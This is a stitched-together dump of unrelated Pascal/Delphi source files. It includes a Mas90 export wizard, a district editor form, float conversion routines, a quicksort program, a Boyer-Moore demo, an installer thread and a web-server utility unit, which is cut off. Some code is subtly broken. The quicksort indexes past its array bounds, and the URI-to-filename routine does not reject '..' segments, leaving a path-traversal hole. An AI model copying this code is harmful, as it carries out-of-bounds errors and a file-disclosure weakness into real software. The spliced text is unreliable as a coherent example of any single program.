Dialogs, uParentWizard, ImgList, StdCtrls, ExtCtrls, ComCtrls, Grids, ADODB;
const
STORE_GRID = 0;
CATEGORY_GRID = 1;
TAX_SCHEDULE_GRID = 2;
COLUMN_MAIN_RETAIL = 1;
COLUMN_OTHER_PROGR = 2;
type
TWizSetupProgramsColumns = class(TParentWizard)
tsSoftware: TTabSheet;
tsMas90: TTabSheet;
pgMas90Option: TPageControl;
tsStoreColumn: TTabSheet;
tsCategoryColumn: TTabSheet;
tsTaxScheduleColumn: TTabSheet;
sgStoreColumns: TStringGrid;
sgCategoryColumns: TStringGrid;
sgTaxScheduleColumns: TStringGrid;
treeSoftware: TTreeView;
Label20: TLabel;
lbSoftware: TLabel;
Config: TTabSheet;
lbCostAccount: TLabel;
lbSalesAccount: TLabel;
edCostAccount: TEdit;
edSalesAccount: TEdit;
lbGLSalesAccount: TLabel;
edGLSalesAccount: TEdit;
procedure treeSoftwareClick(Sender: TObject);
procedure pgMas90OptionChange(Sender: TObject);
procedure sgTaxScheduleColumnsExit(Sender: TObject);
procedure sgCategoryColumnsExit(Sender: TObject);
procedure sgStoreColumnsExit(Sender: TObject);
procedure edCostAccountExit(Sender: TObject);
procedure edSalesAccountExit(Sender: TObject);
procedure edGLSalesAccountExit(Sender: TObject);
private
fGrid : TStringGrid;
fGridType : Integer;
procedure ClearColumns;
procedure SaveGridColumns;
procedure FillColumnGrid;
procedure AddListToColumn;
procedure GetGridColumn;
procedure GetMas90Config;
procedure GetArchiveName(var Friend:String);
protected
procedure OnAfterDoFinish; override;
procedure OnBeforeBackClick; override;
function TestBeforeNavigate:Boolean; override;
function DoFinish:Integer; override;
function OnAfterChangePage:Boolean; override;
public
{ Public declarations }
end;
var
WizSetupProgramsColumns: TWizSetupProgramsColumns;
implementation
uses uDM, DB, uParamFunctions, uMsgBox;
{$R *.dfm}
procedure TWizSetupProgramsColumns.ClearColumns;
var i: integer;
begin
for i:=1 to fGrid.RowCount-1 do
begin
fGrid.Cells[COLUMN_OTHER_PROGR,i] := '';
fGrid.Cells[COLUMN_MAIN_RETAIL,i] := '';
end;
end;
function TWizSetupProgramsColumns.DoFinish: Integer;
begin
inherited;
end;
function TWizSetupProgramsColumns.OnAfterChangePage: Boolean;
begin
if pgOption.ActivePage.Name = 'tsMas90' then
begin
pgMas90Option.ActivePageIndex := 0;
GetMas90Config;
end
end;
procedure TWizSetupProgramsColumns.OnAfterDoFinish;
begin
inherited;
end;
procedure TWizSetupProgramsColumns.OnBeforeBackClick;
begin
inherited;
end;
function TWizSetupProgramsColumns.TestBeforeNavigate: Boolean;
begin
Result := True;
if pgOption.ActivePage.Name = 'tsSoftware' then
begin
if treeSoftware.Selected.Index = -1 then
begin
MsgBox('Select Software to Export', vbInformation + vbOKOnly);
Result := False;
Exit;
end;
end
end;
procedure TWizSetupProgramsColumns.SaveGridColumns;
var
sColumn, Friend : String;
i : integer;
begin
GetArchiveName(Friend);
for i:=1 to fGrid.RowCount-1 do
if Trim(fGrid.Cells[COLUMN_MAIN_RETAIL,i]) <> '' then
if Pos(Trim(fGrid.Cells[COLUMN_OTHER_PROGR,i]), sColumn) = 0 then
sColumn := sColumn + fGrid.Cells[COLUMN_MAIN_RETAIL,i]+'='+
fGrid.Cells[COLUMN_OTHER_PROGR,i]+';';
if sColumn = '' then
Exit;
DM.SetIniFileString('ColumnMas90Setup', Friend, sColumn);
end;
procedure TWizSetupProgramsColumns.FillColumnGrid;
var i : Integer;
begin
fGrid.Cells[COLUMN_ID,0] := 'Col';
fGrid.Cells[COLUMN_OTHER_PROGR,0] := 'Mas90';
fGrid.Cells[COLUMN_MAIN_RETAIL,0] := 'Main Retail';
AddListToColumn;
end;
procedure TWizSetupProgramsColumns.AddListToColumn;
var Query: TADODataSet;
i : Integer;
begin
case fGridType of
STORE_GRID : begin
Query := DM.quStoreList;
DM.OpenStoreList;
end;
CATEGORY_GRID : begin
Query := DM.quCategoryList;
DM.OpenCategoryList;
end;
TAX_SCHEDULE_GRID : begin
Query := DM.quTaxScheduleList;
DM.OpenTaxScheduleList;
end;
end;
fGrid.RowCount := Query.RecordCount + 1;
fGrid.ColCount := 3;
Query.First;
i := 1;
while not Query.Eof do
begin
fGrid.Cells[1,i] := Query.Fields.Fields[1].AsString;
Query.Next;
inc(i);
end;
DM.CloseQuerysMas90List;
end;
procedure TWizSetupProgramsColumns.GetGridColumn;
var
sColumn, Friend, sResult : String;
i : integer;
begin
GetArchiveName(Friend);
sColumn := DM.GetIniFile('ColumnMas90Setup', Friend);
if sColumn = '' then
Exit;
for i:=1 to fGrid.RowCount-1 do
begin
sResult := ParseParam(sColumn, Trim(fGrid.Cells[COLUMN_MAIN_RETAIL,i]));
if sResult <> '' then
fGrid.Cells[COLUMN_OTHER_PROGR,i] := sResult;
end;
end;
procedure TWizSetupProgramsColumns.GetArchiveName(var Friend: String);
begin
case fGridType of
STORE_GRID : Friend := 'Store';
CATEGORY_GRID : Friend := 'Category';
TAX_SCHEDULE_GRID : Friend := 'TaxSchedule';
end;
end;
procedure TWizSetupProgramsColumns.treeSoftwareClick(Sender: TObject);
begin
lbSoftware.Visible := True;
case treeSoftware.Selected.Index of
0 : begin
DM.iSoftware := SOFTWARE_MAS90;
lbSoftware.Caption := 'Setup to Mas90.';
end;
end;
end;
procedure TWizSetupProgramsColumns.pgMas90OptionChange(Sender: TObject);
begin
if pgMas90Option.ActivePage.Name = 'tsStoreColumn' then
begin
fGrid := sgStoreColumns;
fGridType := STORE_GRID;
ClearColumns;
FillColumnGrid;
GetGridColumn;
end
else if pgMas90Option.ActivePage.Name = 'tsCategoryColumn' then
begin
fGrid := sgCategoryColumns;
fGridType := CATEGORY_GRID;
ClearColumns;
FillColumnGrid;
GetGridColumn;
end
else if pgMas90Option.ActivePage.Name = 'tsTaxScheduleColumn' then
begin
fGrid := sgTaxScheduleColumns;
fGridType := TAX_SCHEDULE_GRID;
ClearColumns;
FillColumnGrid;
GetGridColumn;
end
end;
procedure TWizSetupProgramsColumns.sgTaxScheduleColumnsExit(
Sender: TObject);
begin
inherited;
SaveGridColumns;
end;
procedure TWizSetupProgramsColumns.sgCategoryColumnsExit(Sender: TObject);
begin
inherited;
SaveGridColumns;
end;
procedure TWizSetupProgramsColumns.sgStoreColumnsExit(Sender: TObject);
begin
inherited;
SaveGridColumns;
end;
procedure TWizSetupProgramsColumns.edCostAccountExit(Sender: TObject);
begin
inherited;
DM.SetIniFileString('ColumnMas90Setup', 'Cost_Account', edCostAccount.Text);
end;
procedure TWizSetupProgramsColumns.edSalesAccountExit(Sender: TObject);
begin
inherited;
DM.SetIniFileString('ColumnMas90Setup', 'Sales_Account', edSalesAccount.Text);
end;
procedure TWizSetupProgramsColumns.GetMas90Config;
begin
edCostAccount.Text := DM.GetIniFile('ColumnMas90Setup', 'Cost_Account');
edSalesAccount.Text := DM.GetIniFile('ColumnMas90Setup', 'Sales_Account');
edGLSalesAccount.Text := DM.GetIniFile('ColumnMas90Setup', 'GLSales_Account');
end;
procedure TWizSetupProgramsColumns.edGLSalesAccountExit(Sender: TObject);
begin
inherited;
DM.SetIniFileString('ColumnMas90Setup', 'GLSales_Account', edGLSalesAccount.Text);
end;
end.
|
unit uListFormBaseFrm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, dxSkinsCore,
cxGridCustomView,
cxGridCustomTableView, cxGridTableView, cxGridDBTableView,
cxGrid,cxLookAndFeels,cxGridDBBandedTableView, dxSkinsForm,uI3BaseFrm;
type
TOpenFormParameter = class
FrmKey :String;
mainSgin :Boolean;
Caption :String; // 窗口标题
oldVal :String; // 旧值
TableName :String; // 表名 T_BD_Material,T_BD_Customer,T_BD_Supplier,T_DB_WAREHOUSE
mType :Byte; // 物料类型 1:物料成品 2:原材料+其它 3:门店 4:仓库
isEdit :Boolean; // 是否以编辑方式进入
isRadioSelect :Integer; // 是否是单选
IsNull :Boolean; // 是否为空
end;
type
TListFormBaseFrm= class(TI3BaseFrm)
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
mainSgin:Boolean;
OpenFormParameter : TOpenFormParameter;
{ Public declarations }
end;
var
ListFormBaseFrm: TListFormBaseFrm;
implementation
{$R *.dfm}
procedure TListFormBaseFrm.FormCreate(Sender: TObject);
begin
inherited;
//
end;
end.
|
unit BsEditDistrict;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxLookAndFeelPainters, DB, cxMaskEdit, cxDropDownEdit,
cxLookupEdit, cxDBLookupEdit, cxDBLookupComboBox, cxLabel, cxControls,
cxContainer, cxEdit, cxTextEdit, ActnList, FIBDataSet, pFIBDataSet,
FIBQuery, pFIBQuery, pFIBStoredProc, FIBDatabase, pFIBDatabase, StdCtrls,
cxButtons, AdrEdit, cxCheckBox, BaseTypes, BsAdrConsts, BsAdrSpr;
type
TfrmEditDistrict = class(TEditForm)
btnOk: TcxButton;
btnCancel: TcxButton;
EditDB: TpFIBDatabase;
eTrRead: TpFIBTransaction;
eTrWrite: TpFIBTransaction;
eStoredProc: TpFIBStoredProc;
EDSet: TpFIBDataSet;
ActionList1: TActionList;
ActOk: TAction;
ActCancel: TAction;
DistrictEdit: TcxTextEdit;
lblDistrict: TcxLabel;
lblTypeDistrict: TcxLabel;
lblRegion: TcxLabel;
TypeDistrictBox: TcxLookupComboBox;
RegionBox: TcxLookupComboBox;
btnDistrict: TcxButton;
btnRegion: TcxButton;
TypeDistrictDSet: TpFIBDataSet;
RegionDSet: TpFIBDataSet;
TypeDistrictDS: TDataSource;
RegionDS: TDataSource;
cxLabel1: TcxLabel;
ZipEndEdit: TcxTextEdit;
chZipEqual: TcxCheckBox;
lblZip: TcxLabel;
ZipBegEdit: TcxTextEdit;
procedure FormShow(Sender: TObject);
procedure ZipBegEditPropertiesChange(Sender: TObject);
procedure chZipEqualPropertiesChange(Sender: TObject);
procedure ZipBegEditKeyPress(Sender: TObject; var Key: Char);
procedure ZipEndEditKeyPress(Sender: TObject; var Key: Char);
procedure ActCancelExecute(Sender: TObject);
procedure ActOkExecute(Sender: TObject);
procedure RegionBoxPropertiesChange(Sender: TObject);
procedure TypeDistrictBoxPropertiesChange(Sender: TObject);
procedure btnDistrictClick(Sender: TObject);
procedure btnRegionClick(Sender: TObject);
private
{ Private declarations }
function CheckData:Boolean;
public
{ Public declarations }
end;
var
frmEditDistrict: TfrmEditDistrict;
implementation
{$R *.dfm}
procedure TfrmEditDistrict.FormShow(Sender: TObject);
begin
try
TypeDistrictDSet.Close;
TypeDistrictDSet.SQLs.SelectSQL.Text:=DistrictTypeSqlText;
TypeDistrictDSet.Open;
RegionDSet.Close;
RegionDSet.SQLs.SelectSQL.Text:=RegionSqlText+'('+IntToStr(AddInfo[0])+')'+OrderBy+'NAME_REGION'+CollateWin1251;
RegionDSet.Open;
RegionBox.EditValue:=AddInfo[1];
if Not VarIsNull(KeyField) then
begin
EDSet.Close;
EDSet.SQLs.SelectSQL.Text:=frmDistrictSqlText+'('+IntToStr(KeyField)+')';
EDSet.Open;
DistrictEdit.Text:=EDSet['NAME_DISTRICT'];
if not VarIsNull(EDSet['ZIP_BEG']) then ZipBegEdit.Text:=IntToStr(EDSet['ZIP_BEG']);
if not VarIsNull(EDSet['ZIP_END']) then ZipEndEdit.Text:=IntToStr(EDSet['ZIP_END']);
TypeDistrictBox.EditValue:=EDSet['ID_TYPE_DISTRICT'];
Self.Caption:='Змінити район';
end
else
begin
Self.Caption:='Додати район';
end;
except on E:Exception
do agMessageDlg(WarningText, E.Message, mtInformation, [mbOK]);
end;
end;
function TfrmEditDistrict.CheckData:Boolean;
begin
Result:=True;
if DistrictEdit.Text='' then
begin
DistrictEdit.Style.Color:=clRed;
agMessageDlg(WarningText, 'Ви не заповнили поле "Район"!', mtInformation, [mbOK]);
Result:=False;
end;
if VarIsNull(TypeDistrictBox.EditValue) then
begin
TypeDistrictBox.Style.Color:=clRed;
agMessageDlg(WarningText, 'Ви не обрали тип раону!', mtInformation, [mbOK]);
Result:=False;
end;
if VarIsNull(RegionBox.EditValue) then
begin
RegionBox.Style.Color:=clRed;
agMessageDlg(WarningText, 'Ви не обрали область!', mtInformation, [mbOK]);
Result:=False;
end;
if (((ZipBegEdit.Text='') and (ZipEndEdit.Text<>'')) or
((ZipBegEdit.Text<>'') and (ZipEndEdit.Text=''))) then
begin
ZipBegEdit.Style.Color:=clRed;
ZipEndEdit.Style.Color:=clRed;
agMessageDlg(WarningText, 'Вкажіть повністю діапозон!', mtInformation, [mbOK]);
Result:=False;
end;
if (((ZipBegEdit.Text<>'') and (ZipEndEdit.Text<>'')) and
(StrToInt(ZipBegEdit.Text)>StrToInt(ZipEndEdit.Text))) then
begin
ZipBegEdit.Style.Color:=clRed;
ZipEndEdit.Style.Color:=clRed;
agMessageDlg(WarningText, 'Початок діапозону не можу перевищувати кінець!', mtInformation, [mbOK]);
Result:=False;
end;
end;
procedure TfrmEditDistrict.ZipBegEditPropertiesChange(Sender: TObject);
begin
if chZipEqual.Checked then ZipEndEdit.Text:=ZipBegEdit.EditingText;
end;
procedure TfrmEditDistrict.chZipEqualPropertiesChange(Sender: TObject);
begin
ZipEndEdit.Enabled:=not chZipEqual.Checked;
if chZipEqual.Checked then ZipEndEdit.Text:=ZipBegEdit.Text;
end;
procedure TfrmEditDistrict.ZipBegEditKeyPress(Sender: TObject;
var Key: Char);
begin
if ((Key in ['0'..'9']) or (Key=#8)) then ZipBegEdit.Properties.ReadOnly:=False
else ZipBegEdit.Properties.ReadOnly:=True;
end;
procedure TfrmEditDistrict.ZipEndEditKeyPress(Sender: TObject;
var Key: Char);
begin
if ((Key in ['0'..'9']) or (Key=#8)) then ZipEndEdit.Properties.ReadOnly:=False
else ZipEndEdit.Properties.ReadOnly:=True;
end;
procedure TfrmEditDistrict.ActCancelExecute(Sender: TObject);
begin
CloseConnect;
ModalResult:=mrCancel;
end;
procedure TfrmEditDistrict.ActOkExecute(Sender: TObject);
begin
if CheckData then
begin
try
eTrWrite.StartTransaction;
eStoredProc.StoredProcName:='ADR_DISTRICT_IU';
eStoredProc.Prepare;
eStoredProc.ParamByName('ID_D').AsVariant:=KeyField;
eStoredProc.ParamByName('NAME_DISTRICT').AsString:=DistrictEdit.Text;
eStoredProc.ParamByName('ID_REGION').AsInteger:=RegionBox.EditValue;
eStoredProc.ParamByName('ID_TYPE_DISTRICT').AsInteger:=TypeDistrictBox.EditValue;
eStoredProc.ExecProc;
ReturnId:=eStoredProc.FieldByName('ID_DISTRICT').AsInteger;
if ((ZipBegEdit.Text<>'') and (ZipEndEdit.Text<>'')) then
begin
eStoredProc.StoredProcName:='ADR_ZIP_DISTRICT_IU';
eStoredProc.Prepare;
eStoredProc.ParamByName('ID_DISTRICT').AsInteger:=ReturnId;
eStoredProc.ParamByName('ZIP_BEG').AsInteger:=StrToInt(ZipBegEdit.Text);
eStoredProc.ParamByName('ZIP_END').AsInteger:=StrToInt(ZipEndEdit.Text);
eStoredProc.ExecProc;
end;
eTrWrite.Commit;
ModalResult:=mrOk;
except on E:Exception
do begin
agMessageDlg(WarningText, E.Message, mtInformation, [mbOK]);
eTrWrite.Rollback;
end;
end;
end;
end;
procedure TfrmEditDistrict.RegionBoxPropertiesChange(Sender: TObject);
begin
GlobalBoxFilter(RegionBox, 'NAME_REGION');
end;
procedure TfrmEditDistrict.TypeDistrictBoxPropertiesChange(
Sender: TObject);
begin
GlobalBoxFilter(TypeDistrictBox, 'NAME_FULL');
end;
procedure TfrmEditDistrict.btnDistrictClick(Sender: TObject);
var sParam:TSpravParams;
frm:TfrmSprav;
begin
sParam.FormCaption := 'Довідник типів областей';
sParam.SelectText := TypeDistrictDSet.SQLs.SelectSQL.Text;
sParam.NameFields := 'Name_Full,ID_TYPE_DISTRICT';
sParam.FieldsCaption := 'Тип району';
sParam.KeyField := 'ID_TYPE_DISTRICT';
sParam.ReturnFields := 'ID_TYPE_DISTRICT,Name_Full';
sParam.FilterFields:='Name_Full';
sParam.FilterCaptions:='Тип району';
sParam.DbHandle:=EditDB.Handle;
sParam.frmButtons:=[fbRefresh,fbSelect,fbExit];
frm:=TfrmSprav.Create(Self, sParam);
if frm.ShowModal=mrOk then
begin
if TypeDistrictDSet.Active then TypeDistrictDSet.Close;
TypeDistrictDSet.Open;
TypeDistrictBox.EditValue:=frm.Res[0];
end;
frm.Free;
end;
procedure TfrmEditDistrict.btnRegionClick(Sender: TObject);
var sParam:TSpravParams;
frm:TfrmSprav;
begin
sParam.FormCaption := 'Довідник областей';
sParam.SelectText := RegionDSet.SQLs.SelectSQL.Text;
sParam.NameFields := 'Name_Region,Id_Region';
sParam.FieldsCaption := 'Область';
sParam.KeyField := 'Id_Region';
sParam.ReturnFields := 'Id_Region,Name_Region';
sParam.FilterFields:='Name_Region';
sParam.FilterCaptions:='Назва області';
sParam.DbHandle:=EditDB.Handle;
sParam.NameClass:='TfrmEditRegion';
sParam.DeleteProcName:='ADR_REGION_D';
sParam.AddInfo:=AddInfo;
sParam.frmButtons:=[fbAdd,fbModif,fbDelete,fbRefresh,fbSelect,fbExit];
frm:=TfrmSprav.Create(Self, sParam);
if frm.ShowModal=mrOk then
begin
if RegionDSet.Active then RegionDSet.Close;
RegionDSet.Open;
RegionBox.EditValue:=frm.Res[0];
end;
frm.Free;
end;
initialization
RegisterClass(TfrmEditDistrict);
end.
|
unit doubleExt;
interface
function ExtendedToDouble( var w): double;
procedure DoubleToExtended( dd: double; var w);
implementation
uses math;
(*
float64 C_IOHandler::readFloat80(IColl<uint8> buffer, uint32 *ref_offset)
{
uint32 &offset = *ref_offset;
//80 bit floating point value according to the IEEE-754 specification and the Standard Apple Numeric Environment specification:
//1 bit sign, 15 bit exponent, 1 bit normalization indication, 63 bit mantissa
float64 sign;
if ((buffer[offset] & 0x80) == 0x00)
sign = 1;
else
sign = -1;
uint32 exponent = (((uint32)buffer[offset] & 0x7F) << 8) | (uint32)buffer[offset + 1];
uint64 mantissa = readUInt64BE(buffer, offset + 2);
//If the highest bit of the mantissa is set, then this is a normalized number.
float64 normalizeCorrection;
if ((mantissa & 0x8000000000000000) != 0x00)
normalizeCorrection = 1;
else
normalizeCorrection = 0;
mantissa &= 0x7FFFFFFFFFFFFFFF;
offset += 10;
//value = (-1) ^ s * (normalizeCorrection + m / 2 ^ 63) * 2 ^ (e - 16383)
return (sign * (normalizeCorrection + (float64)mantissa / ((uint64)1 << 63)) * g_Math->toPower(2, (int32)exponent - 16383));
}
*)
function ExtendedToDouble( var w): double;
var
buffer: array[0..9] of byte absolute w;
sign:double;
exponent: longint;
mantissa: int64;
normalizeCorrection: double;
i:integer;
begin
//80 bit floating point value according to the IEEE-754 specification and the Standard Apple Numeric Environment specification:
//1 bit sign, 15 bit exponent, 1 bit normalization indication, 63 bit mantissa
if buffer[9] and $80 = 0
then sign := 1
else sign := -1;
exponent := (buffer[9] and $7F) shl 8 or buffer[8];
move(buffer[0], mantissa, 8);
//If the highest bit of the mantissa is set, then this is a normalized number.
if mantissa and $8000000000000000 <> 0
then normalizeCorrection := 1
else normalizeCorrection := 0;
mantissa:= mantissa and $7FFFFFFFFFFFFFFF;
//Avec XE Win64, le débordement n'est pas accepté
exponent:=exponent-16383;
if exponent<-1000 then exponent:=-1000
else
if exponent >1000 then exponent:=1000;
//value = (-1) ^ s * (normalizeCorrection + m / 2 ^ 63) * 2 ^ (e - 16383)
result:= sign * (normalizeCorrection + mantissa/2/ (int64(1) shl 62)) * Power(2.0, exponent);
end;
procedure DoubleToExtended( dd: double; var w);
var
buffer: array[0..7] of byte absolute dd;
sign:byte;
exponent: longint;
mantissa: int64;
normalizeCorrection: byte;
bufferW: array[0..9] of byte absolute w;
maxE: double;
mantissaR: double;
begin
fillchar(bufferW,sizeof(bufferW),0);
if dd=0 then exit; // ajouté le 28-04-16
sign:= buffer[7] and $80;
exponent := (buffer[7] and $7F) shl 4 or buffer[6] shr 4;
normalizeCorrection := $80;
maxE:=2.0* (int64(1) shl 62);
if exponent=0 then exponent:=1023;
exponent:=exponent-1023 +16383;
mantissaR:=(abs(dd)/power(2,exponent-16383) -1)*maxE;
mantissa:= round(mantissaR);
move(mantissa,bufferW[0],8);
bufferW[7]:=bufferW[7] and $7F or NormalizeCorrection;
move(exponent,bufferW[8],2);
bufferW[9]:=bufferW[9] and $7F or Sign;
end;
end.
|
unit UCallbacks;
(*====================================================================
Defines dummy callbacks for the Engine to the user interface. Instead of
setting the calbacks to nil, we use dummy calbacks, so that the usage is
safer.
======================================================================*)
{$A-}
interface
uses UTypes, UApiTypes, UBaseTypes;
const
cmYes = 12;
cmNo = 13;
cmYesAll = 150;
cmNoAll = 151;
var
CB_IsTheLastCPB : TIsTheLastCPB;
CB_HowToContinue : THowToContinue;
CB_NewLineToIndicator : TNewLineToIndicator;
CB_AppendLineToIndicator : TAppendLineToIndicator;
CB_UpdateProgressIndicator : TUpdateProgressIndicator;
CB_AbortScan : TAbortScan;
procedure ClearCallBacks;
function XIsTheLastCPB(FName: ShortString): boolean;
function XHowToContinue (FName: ShortString): word;
procedure XNewLineToIndicator (Line: ShortString);
procedure XAppendLineToIndicator (Line: ShortString);
procedure XUpdateProgressIndicator (Phase, Progress: Integer);
function XAbortScan: boolean;
procedure XErrorMsg (ErrorNo: Integer; ErrorStr: ShortString);
//-----------------------------------------------------------------------------
implementation
function XIsTheLastCPB (FName: ShortString): boolean;
begin
XIsTheLastCPB := true;
end;
function XHowToContinue (FName: ShortString): word;
begin
XHowToContinue := cmYesAll;
end;
procedure XNewLineToIndicator (Line: ShortString);
begin
end;
procedure XAppendLineToIndicator (Line: ShortString);
begin
end;
procedure XUpdateProgressIndicator (Phase, Progress: Integer);
begin
end;
function XAbortScan: boolean;
begin
XAbortScan := false;
end;
procedure XErrorMsg (ErrorNo: Integer; ErrorStr: ShortString);
begin
end;
//-----------------------------------------------------------------------------
procedure ClearCallBacks;
begin
CB_IsTheLastCPB := XIsTheLastCPB;
CB_HowToContinue := XHowToContinue;
CB_NewLineToIndicator := XNewLineToIndicator;
CB_AppendLineToIndicator := XAppendLineToIndicator;
CB_UpdateProgressIndicator := XUpdateProgressIndicator;
CB_AbortScan := XAbortScan;
end;
//-----------------------------------------------------------------------------
begin
ClearCallBacks;
end.
|
unit MyClasses;
interface
type
IDefaultValue = Interface
['{230C86BD-5BD0-464C-9AF2-AB38A8D11F6A}']
function Concat: string;
end;
TDefaultValue = class(TInterfacedObject, IDefaultValue)
private
fFirst: string;
fSecond: string;
fThird: string;
public
constructor Create(pFirst: string = 'first' ; pSecond: string = 'second' ; pThird: string = 'third');
function Concat: string;
end;
implementation
{ TDefaultValue }
function TDefaultValue.Concat: string;
begin
Result := fFirst + ' ' + fSecond + ' ' + fThird;
end;
constructor TDefaultValue.Create(pFirst: string; pSecond: string; pThird: string);
begin
fFirst := pFirst;
fSecond := pSecond;
fThird := pThird;
end;
end.
|
PROGRAM quicksort;
const
max = 10;
TYPE
IntegerArray = array of integer;
ProcPtr = function(left, right : integer): integer;
FUNCTION compareTo(left, right : integer) : integer;
BEGIN
if left < right then
begin
exit(-1);
end
else if left > right then
begin
exit(1);
end
else
begin
exit(0);
end
END;
{ Note: "var" means a parameter is passed by REFERENCE }
PROCEDURE qsort(VAR a: IntegerArray; sort_function : ProcPtr);
{ sort array a using quicksort }
procedure sort(l, r: integer);
{ local procedure to sort a[l..r] }
procedure swap(var x, y: integer);
{ local procedure to swap x and y. }
var
tmp : integer;
begin
tmp := x;
x := y;
y := tmp;
end; { swap }
var
i, j, x: integer;
begin
i := l;
j := r;
x := a[Random(r - l) + l];
REPEAT
while sort_function(a[i], x) < 0 do
i := i + 1;
while sort_function(a[j], x) > 0 do
j := j - 1;
if not(i > j) then
begin
swap(a[i], a[j]);
i := i + 1;
j := j - 1;
end;
until i > j;
if l < j then
sort(l, j);
if i < r then
sort(i, r);
end; { sort }
begin
sort(0, Length(a));
end; { qsort }
var
data: IntegerArray;
i: integer;
begin
{ Dynamically initialize array }
SetLength(data, max);
write('Creating ',Max,' random numbers between 1 and 500000');
randomize;
for i := 1 to max do
data[i] := 1 + random(100);
writeln('Sorting...');
qsort(data, @compareTo);
writeln('Printing the last ',max,' numbers:');
for i := 1 to max do
begin
writeln(data[i]);
end;
end. |
(*
Category: SWAG Title: SEARCH/FIND/REPLACE ROUTINES
Original name: 0004.PAS
Description: BOYER.PAS
Author: SWAG SUPPORT TEAM
Date: 05-28-93 13:46
*)
(* Public-domain demo of Boyer-Moore search algorithm. *)
(* Guy McLoughlin - May 2, 1993. *)
program DemoBMSearch;
(* Boyer-Moore index-table data definition. *)
type
BMTable = array[0..255] of byte;
(***** Create a Boyer-Moore index-table to search with. *)
(* *)
procedure Create_BMTable({output} var BMT : BMTable;
{input } Pattern : string;
ExactCase : boolean);
var
Index : byte;
begin
fillchar(BMT, sizeof(BMT), length(Pattern));
if NOT ExactCase then
for Index := 1 to length(Pattern) do
Pattern[Index] := upcase(Pattern[Index]);
for Index := 1 to length(Pattern) do
BMT[ord(Pattern[Index])] := (length(Pattern) - Index)
end; (* Create_BMTable. *)
(***** Boyer-Moore Search function. Returns 0 if string is not *)
(* found. Returns 65,535 if BufferSize is too large. *)
(* ie: Greater than 65,520 bytes. *)
(* *)
function BMsearch({input } var BMT : BMTable;
var Buffer;
BuffSize : word;
Pattern : string;
ExactCase : boolean) : {output} word;
var
Buffer2 : array[1..65520] of char absolute Buffer;
Index1,
Index2,
PatSize : word;
begin
if (BuffSize > 65520) then
begin
BMsearch := $FFFF;
exit
end;
PatSize := length(Pattern);
if NOT ExactCase then
begin
for Index1 := 1 to BuffSize do
if (Buffer2[Index1] > #96)
and (Buffer2[Index1] < #123) then
dec(Buffer2[Index1], 32);
for Index1 := 1 to length(Pattern) do
Pattern[Index1] := upcase(Pattern[Index1])
end;
Index1 := PatSize;
Index2 := PatSize;
repeat
if (Buffer2[Index1] = Pattern[Index2]) then
begin
dec(Index1);
dec(Index2)
end
else
begin
if (succ(PatSize - Index2) > (BMT[ord(Buffer2[Index1])])) then
inc(Index1, succ(PatSize - Index2))
else
inc(Index1, BMT[ord(Buffer2[Index1])]);
Index2 := PatSize
end;
until (Index2 < 1) or (Index1 > BuffSize);
if (Index1 > BuffSize) then
BMsearch := 0
else
BMsearch := succ(Index1)
end; (* BMsearch. *)
type
arby_64K = array[1..65520] of byte;
var
Index : word;
st_Temp : string[20];
Buffer : ^arby_64K;
BMT : BMTable;
BEGIN
new(Buffer);
fillchar(Buffer^, sizeof(Buffer^), 0);
st_Temp := 'aBcDeFgHiJkLmNoPqRsT';
move(st_Temp[1], Buffer^[65501], length(st_Temp));
st_Temp := 'AbCdEfGhIjKlMnOpQrSt';
Create_BMTable(BMT, st_Temp, false);
Index := BMSearch(BMT, Buffer^, sizeof(Buffer^), st_Temp, false);
writeln(st_Temp, ' found at offset ', Index)
END.
{
- Guy
---
■ DeLuxe²/386 1.25 #5060 ■
* Rose Media, Toronto, Canada : 416-733-2285
* PostLink(tm) v1.04 ROSE (#1047) : RelayNet(tm)
}
|
unit uInstallThread;
interface
uses
System.Classes,
System.SysUtils,
Winapi.Windows,
Winapi.ActiveX,
uInstallTypes,
uDBForm,
uMemory,
uConstants,
uInstallUtils,
uInstallScope,
uActions,
uTranslate,
uIME;
type
TInstallThread = class(TThread)
private
{ Private declarations }
FOwner: TDBForm;
FTotal, FCurrentlyDone: Int64;
FTerminateProgress: Boolean;
protected
procedure Execute; override;
procedure ExitSetup;
procedure UpdateProgress;
procedure InstallCallBack(Sender: TInstallAction; CurrentPoints, Total: Int64; var Terminate : Boolean);
public
constructor Create(Owner: TDBForm);
end;
implementation
uses
uFrmMain;
{ TInstallThread }
constructor TInstallThread.Create(Owner: TDBForm);
begin
inherited Create(False);
FOwner := Owner;
FTotal := 0;
FCurrentlyDone := 0;
end;
procedure TInstallThread.Execute;
begin
DisableIME;
FreeOnTerminate := True;
CoInitialize(nil);
try
try
if not TInstallManager.Instance.ExecuteInstallActions(InstallCallBack) then
MessageBox(0, PChar(TA('Installation was aborted!', 'Setup')), PChar(TA('Error')), MB_OK);
except
on e: Exception do
MessageBox(0, PChar('Error: ' + e.Message), PChar(TA('Error')), MB_OK);
end;
finally
Synchronize(ExitSetup);
CoUninitialize;
end;
end;
procedure TInstallThread.ExitSetup;
begin
TFrmMain(FOwner).Close;
end;
procedure TInstallThread.InstallCallBack(Sender: TInstallAction; CurrentPoints,
Total: Int64; var Terminate: Boolean);
begin
FTotal := Total;
FCurrentlyDone := CurrentPoints;
Synchronize(UpdateProgress);
end;
procedure TInstallThread.UpdateProgress;
begin
FTerminateProgress := not TFrmMain(FOwner).UpdateProgress(FCurrentlyDone, FTotal);
end;
end.
|
unit libutil;
//{$mode delphi}
interface
uses
Classes, SysUtils;
function UriToFileName(uri: string): string;
function GetPageResult(code: integer; var Output: TMemoryStream): integer;
function IsImage(AFileName: string): boolean;
function IsFileDownload(AFileName: string): boolean;
function GetContentType(AFileName: string): string;
implementation
function UriToFileName(uri: string): string;
var
FileName: string;
I: integer;
begin
// convert all '/' to '\'
FileName := trim(Copy(uri,2,length(uri) -1));
I := Pos('/', FileName);
while I > 0 do
begin
FileName[I] := '\';
I := Pos('/', FileName);
end;
// locate requested file
FileName := extractfilepath(ParamStr(0)) + FileName;
if AnsiLastChar(FileName)^ = '\' then
// folder - reroute to default document
result := FileName + 'index.html'
else
// file - use it
result := FileName;
end;
function GetPageResult(code: integer; var Output: TMemoryStream): integer;
var
l: TStringList;
begin
l := TStringList.Create;
try
case code of
404: l.LoadFromFile(ExtractFilePath(paramstr(0)) + '404.html');
end;
l.SaveToStream(Output);
finally
l.Free;
end;
